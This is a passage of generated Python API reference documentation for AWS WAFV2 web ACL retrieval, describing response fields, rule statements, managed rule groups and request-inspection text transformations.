rule. VendorName (string) -- The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) -- The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. ExcludedRules (list) -- The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. RuleGroupReferenceStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement. You cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. ARN (string) -- The Amazon Resource Name (ARN) of the entity. ExcludedRules (list) -- The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. OverrideAction (dict) -- The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement . Set the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings. In a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both: If the rule statement references a rule group, use this override action setting and not the action setting. If the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting. Count (dict) -- Override the rule action setting to count. None (dict) -- Don\'t override the rule action setting. VisibilityConfig (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) -- A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) -- A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) -- A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . PostProcessFirewallManagerRuleGroups (list) -- The last set of rules for AWS WAF to process in the web ACL. This is defined in an AWS Firewall Manager WAF policy and contains only rule group references. You can\'t alter these. Any rules and rule groups that you define for the web ACL are prioritized before these. In the Firewall Manager WAF policy, the Firewall Manager administrator can define a set of rule groups to run first in the web ACL and a set of rule groups to run last. Within each set, the administrator prioritizes the rule groups, to determine their relative processing order. (dict) -- A rule group that\'s defined for an AWS Firewall Manager WAF policy. Name (string) -- The name of the rule group. You cannot change the name of a rule group after you create it. Priority (integer) -- If you define more than one rule group in the first or last Firewall Manager rule groups, AWS WAF evaluates each request against the rule groups in order, starting from the lowest priority setting. The priorities don\'t need to be consecutive, but they must all be different. FirewallManagerStatement (dict) -- The processing guidance for an AWS Firewall Manager rule. This is like a regular rule Statement , but it can only contain a rule group reference. ManagedRuleGroupStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups . You can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. VendorName (string) -- The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) -- The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. ExcludedRules (list) -- The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. RuleGroupReferenceStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement. You cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. ARN (string) -- The Amazon Resource Name (ARN) of the entity. ExcludedRules (list) -- The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. OverrideAction (dict) -- The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement . Set the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings. In a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both: If the rule statement references a rule group, use this override action setting and not the action setting. If the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting. Count (dict) -- Override the rule action setting to count. None (dict) -- Don\'t override the rule action setting. VisibilityConfig (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) -- A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) -- A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) -- A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . ManagedByFirewallManager (boolean) -- Indicates whether this web ACL is managed by AWS Firewall Manager. If true, then only AWS Firewall Manager can delete the web ACL or any Firewall Manager rule groups in the web ACL. LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'WebACL': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'DefaultAction': { 'Block': {}, 'Allow': {} }, 'Description': 'string', 'Rules': [ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, 'Capacity': 123, 'PreProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'PostProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'ManagedByFirewallManager': True|False }, 'LockToken': 'string' } :returns: Method : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request. UriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg . """ pass def get_web_acl_for_resource(ResourceArn=None): """ Retrieves the WebACL for the specified resource. See also: AWS API Documentation Exceptions :example: response = client.get_web_acl_for_resource( ResourceArn='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe ARN (Amazon Resource Name) of the resource.\n :rtype: dict ReturnsResponse Syntax{ 'WebACL': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'DefaultAction': { 'Block': {}, 'Allow': {} }, 'Description': 'string', 'Rules': [ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, 'Capacity': 123, 'PreProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'PostProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'ManagedByFirewallManager': True|False } } Response Structure (dict) -- WebACL (dict) --The Web ACL that is associated with the resource. If there is no associated resource, AWS WAF returns a null Web ACL. Name (string) --The name of the Web ACL. You cannot change the name of a Web ACL after you create it. Id (string) --A unique identifier for the WebACL . This ID is returned in the responses to create and list commands. You use this ID to do things like get, update, and delete a WebACL . ARN (string) --The Amazon Resource Name (ARN) of the Web ACL that you want to associate with the resource. DefaultAction (dict) --The action to perform if none of the Rules contained in the WebACL match. Block (dict) --Specifies that AWS WAF should block requests by default. Allow (dict) --Specifies that AWS WAF should allow requests by default. Description (string) --A description of the Web ACL that helps with identification. You cannot change the description of a Web ACL after you create it. Rules (list) --The Rule statements used to identify the web requests that you want to allow, block, or count. Each rule includes one top-level statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them. Name (string) --The name of the rule. You can\'t change the name of a Rule after you create it. Priority (integer) --If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different. Statement (dict) --The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement . ByteMatchStatement (dict) --A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement. SearchString (bytes) --A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes. Valid values depend on the component that you specify for inspection in FieldToMatch : Method : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request. UriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg . If SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive. If you\'re using the AWS WAF API Specify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes. For example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString . If you\'re using the AWS CLI or one of the AWS SDKs The value that you want AWS WAF to search for. The SDK automatically base64 encodes the value. FieldToMatch (dict) --The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) --The name of the query header to inspect. SingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) --The name of the query argument to inspect. AllQueryArguments (dict) --Inspect all query arguments. UriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) --Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) --Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) --You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. PositionalConstraint (string) --The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following: CONTAINS The specified part of the web request must include the value of SearchString , but the location doesn\'t matter. CONTAINS_WORD The specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 0-9, or _). In addition, SearchString must be a word, which means that both of the following are true: SearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot . SearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; . EXACTLY The value of the specified part of the web request must exactly match the value of SearchString . STARTS_WITH The value of SearchString must appear at the beginning of the specified part of the web request. ENDS_WITH The value of SearchString must appear at the end of the specified part of the web request. SqliMatchStatement (dict) --Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code. FieldToMatch (dict) --The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, 